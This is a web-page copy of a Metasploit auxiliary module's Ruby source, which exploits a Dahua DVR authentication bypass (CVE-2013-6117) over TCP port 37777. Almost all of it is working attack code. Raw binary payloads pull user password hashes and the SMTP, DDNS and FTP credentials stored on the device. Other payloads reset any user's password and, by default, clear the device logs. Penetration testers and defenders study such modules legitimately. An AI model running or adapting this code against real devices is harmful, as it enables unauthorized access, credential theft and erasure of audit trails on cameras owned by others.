CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
11
def initialize
12
super(
13
'Name' => %q(Dahua DVR Auth Bypass Scanner),
14
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
15
'Author' => [
16
'Tyler Bennett - Talos Consulting', # Metasploit module
17
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
18
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
19
'Nathan McBride' # regex extraordinaire
20
],
21
'References' => [
22
[ 'CVE', '2013-6117' ],
23
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
24
],
25
'License' => MSF_LICENSE,
26
'DefaultAction' => 'VERSION',
27
'Actions' =>
28
[
29
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
30
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
31
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
32
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
33
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
34
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
35
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
36
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
37
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
38
]
39
)
40
41
register_options([
42
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
43
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
44
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
45
Opt::RPORT(37777)
46
])
47
end
48
49
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
50
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
51
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
52
# Payload to grab version of the DVR
53
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
54
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
55
# Payload to grab Email Settings of the DVR
56
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
57
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
58
# Payload to grab DDNS Settings of the DVR
59
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
60
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
61
# Payload to grab NAS Settings of the DVR
62
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
63
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
64
# Payload to grab the Channels that each camera is assigned to on the DVR
65
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
66
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
67
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
68
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
69
# Payload to grab the Users Groups of the DVR
70
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
71
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
72
# Payload to grab the Users and their hashes from the DVR
73
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
74
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
75
# Payload to grab the Serial Number of the DVR
76
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
77
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
78
# Payload to clear the logs of the DVR
79
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
80
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
81
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
82
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
83
84
def setup
85
@password = datastore['PASSWORD']
86
@password ||= Rex::Text.rand_text_alpha(6)
87
end
88
89
def grab_version
90
connect
91
sock.put(VERSION)
92
data = sock.get_once
93
return unless data =~ /[\x00]{8,}([[:print:]]+)/
94
ver = Regexp.last_match[1]
95
print_good("#{peer} -- version: #{ver}")
96
end
97
98
def grab_serial
99
connect
100
sock.put(SN)
101
data = sock.get_once
102
return unless data =~ /[\x00]{8,}([[:print:]]+)/
103
serial = Regexp.last_match[1]
104
print_good("#{peer} -- serial number: #{serial}")
105
end
106
107
def grab_email
108
connect
109
sock.put(EMAIL)
110
return unless (response = sock.get_once)
111
data = response.split('&&')
112
print_good("#{peer} -- Email Settings:")
113
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
114
if mailhost = Regexp.last_match[1].split(':')
115
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
116
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
117
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
118
mailserver = "#{mailhost[0]}"
119
mailport = "#{mailhost[1]}"
120
muser = "#{data[5]}"
121
mpass = "#{data[6]}"
122
end
123
return if muser.blank? && mpass.blank?
124
print_good(" SMTP User: #{data[5]}")
125
print_good(" SMTP Password: #{data[6]}")
126
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
127
report_email_cred(mailserver, mailport, muser, mpass)
128
end
129
130
def grab_ddns
131
connect
132
sock.put(DDNS)
133
return unless (response = sock.get_once)
134
data = response.split(/&&[0-1]&&/)
135
ddns_table = Rex::Text::Table.new(
136
'Header' => 'Dahua DDNS Settings',
137
'Indent' => 1,
138
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
139
)
140
data.each_with_index do |val, index|
141
next if index == 0
142
val = val.split("&&")
143
ddns_service = val[0]
144
ddns_server = val[1]
145
ddns_port = val[2]
146
ddns_domain = val[3]
147
ddns_user = val[4]
148
ddns_pass = val[5]
149
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
150
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
151
if datastore['VERBOSE']
152
ddns_table.print
153
end
154
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
155
end
156
end
157
end
158
159
def grab_nas
160
connect
161
sock.put(NAS)
162
return unless (data = sock.get_once)
163
print_good("#{peer} -- NAS Settings:")
164
server = ''
165
port = ''
166
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
167
server = Regexp.last_match[1].unpack('C*').join('.')
168
port = Regexp.last_match[2].unpack('S')
169
end
170
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
171
ftpuser.strip!
172
ftppass.strip!
173
unless ftpuser.blank? || ftppass.blank?
174
print_good("#{peer} -- NAS Server: #{server}")
175
print_good("#{peer} -- NAS Port: #{port}")
176
print_good("#{peer} -- FTP User: #{ftpuser}")
177
print_good("#{peer} -- FTP Pass: #{ftppass}")
178
report_creds(
179
host: server,
180
port: port,
181
user: ftpuser,
182
pass: ftppass,
183
type: "FTP",
184
active: true)
185
end
186
end
187
end
188
189
def grab_channels
190
connect
191
sock.put(CHANNELS)
192
data = sock.get_once.split('&&')
193
channels_table = Rex::Text::Table.new(
194
'Header' => 'Dahua Camera Channels',
195
'Indent' => 1,
196
'Columns' => ['ID', 'Peer', 'Channels']
197
)
198
return unless data.length > 1
199
data.each_with_index do |val, index|
200
number = index.to_s
201
channels = val[/([[:print:]]+)/]
202
channels_table << [ number, peer, channels ]
203
end
204
channels_table.print
205
end
206
207
def grab_users
208
connect
209
sock.put(USERS)
210
return unless (response = sock.get_once)
211
data = response.split('&&')
212
usercount = 0
213
users_table = Rex::Text::Table.new(
214
'Header' => 'Dahua Users Hashes and Rights',
215
'Indent' => 1,
216
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
217
)
218
data.each do |val|
219
usercount += 1
220
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
221
users_table << [ peer, user, md5hash, groups, rights, name]
222
# Write the dahua hash to the database
223
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
224
report_hash(rhost, rport, user, hash)
225
# Write the vulnerability to the database
226
report_vuln(
227
host: rhost,
228
port: rport,
229
proto: 'tcp',
230
sname: 'dvr',
231
name: 'Dahua Authentication Password Hash Exposure',
232
info: "Obtained password hash for user #{user}: #{md5hash}",
233
refs: references
234
)
235
end
236
users_table.print
237
end
238
239
def grab_groups
240
connect
241
sock.put(GROUPS)
242
return unless (response = sock.get_once)
243
data = response.split('&&')
244
groups_table = Rex::Text::Table.new(
245
'Header' => 'Dahua groups',
246
'Indent' => 1,
247
'Columns' => ['ID', 'Peer', 'Group']
248
)
249
data.each do |val|
250
number = "#{val[/(([\d]+))/]}"
251
groups = "#{val[/(([a-z]+))/]}"
252
groups_table << [ number, peer, groups ]
253
end
254
groups_table.print
255
end
256
257
def reset_user
258
connect
259
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
260
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
261
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
262
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
263
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
264
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
265
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
266
sock.put(u1)
267
sock.put(u2)
268
sock.put(u3)
269
sock.get_once
270
sock.put(u1)
271
return unless sock.get_once
272
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
273
end
274
275
def clear_logs
276
connect
277
sock.put(CLEAR_LOGS1)
278
sock.put(CLEAR_LOGS2)
279
print_good("#{peer} -- logs cleared")
280
end
281
282
def peer
283
"#{rhost}:#{rport}"
284
end
285
286
def run_host(_ip)
287
begin
288
connect
289
sock.put(U1)
290
data = sock.recv(8)
291
disconnect
292
return unless data == DVR_RESP
293
print_good("#{peer} -- Dahua-based DVR found")
294
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
295
296
case action.name.upcase
297
when 'CHANNEL'
298
grab_channels
299
when 'DDNS'
300
grab_ddns
301
when 'EMAIL'
302
grab_email
303
when 'GROUP'
304
grab_groups
305
when 'NAS'
306
grab_nas
307
when 'RESET'
308
reset_user
309
when 'SERIAL'
310
grab_serial
311
when 'USER'
312
grab_users
313
when 'VERSION'
314
grab_version
315
end
316
317
clear_logs if datastore['CLEAR_LOGS']
318
ensure
319
disconnect
320
end
321
end
322
323
def report_hash(rhost, rport, user, hash)
324
service_data = {
325
address: rhost,
326
port: rport,
327
service_name: 'dahua_dvr',
328
protocol: 'tcp',
329
workspace_id: myworkspace_id
330
}
331
332
credential_data = {
333
module_fullname: fullname,
334
origin_type: :service,
335
private_data: hash,
336
private_type: :nonreplayable_hash,
337
jtr_format: 'dahua_hash',
338
username: user
339
}.merge(service_data)
340
341
login_data = {
342
core: create_credential(credential_data),
343
status: Metasploit::Model::Login::Status::UNTRIED
344
}.merge(service_data)
345
346
create_credential_login(login_data)
347
end
348
349
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
350
service_data = {
351
address: ddns_server,
352
port: ddns_port,
353
service_name: 'ddns settings',
354
protocol: 'tcp',
355
workspace_id: myworkspace_id
356
}
357
358
credential_data = {
359
module_fullname: fullname,
360
origin_type: :service,
361
private_data: ddns_pass,
362
private_type: :password,
363
username: ddns_user
364
}.merge(service_data)
365
366
login_data = {
367
core: create_credential(credential_data),
368
status: Metasploit::Model::Login::Status::UNTRIED
369
}.merge(service_data)
370
371
create_credential_login(login_data)
372
end
373
374
def report_email_cred(mailserver, mailport, muser, mpass)
375
service_data = {
376
address: mailserver,
377
port: mailport,
378
service_name: 'email settings',
379
protocol: 'tcp',
380
workspace_id: myworkspace_id
381
}
382
383
credential_data = {
384
module_fullname: fullname,
385
origin_type: :service,
386
private_data: mpass,
387
private_type: :password,
388
username: muser
389
}.merge(service_data)
390
391
login_data = {
392
core: create_credential(credential_data),
393
status: Metasploit::Model::Login::Status::UNTRIED
394
}.merge(service_data)
395
396
create_credential_login(login_data)
397
end
398
end
399
400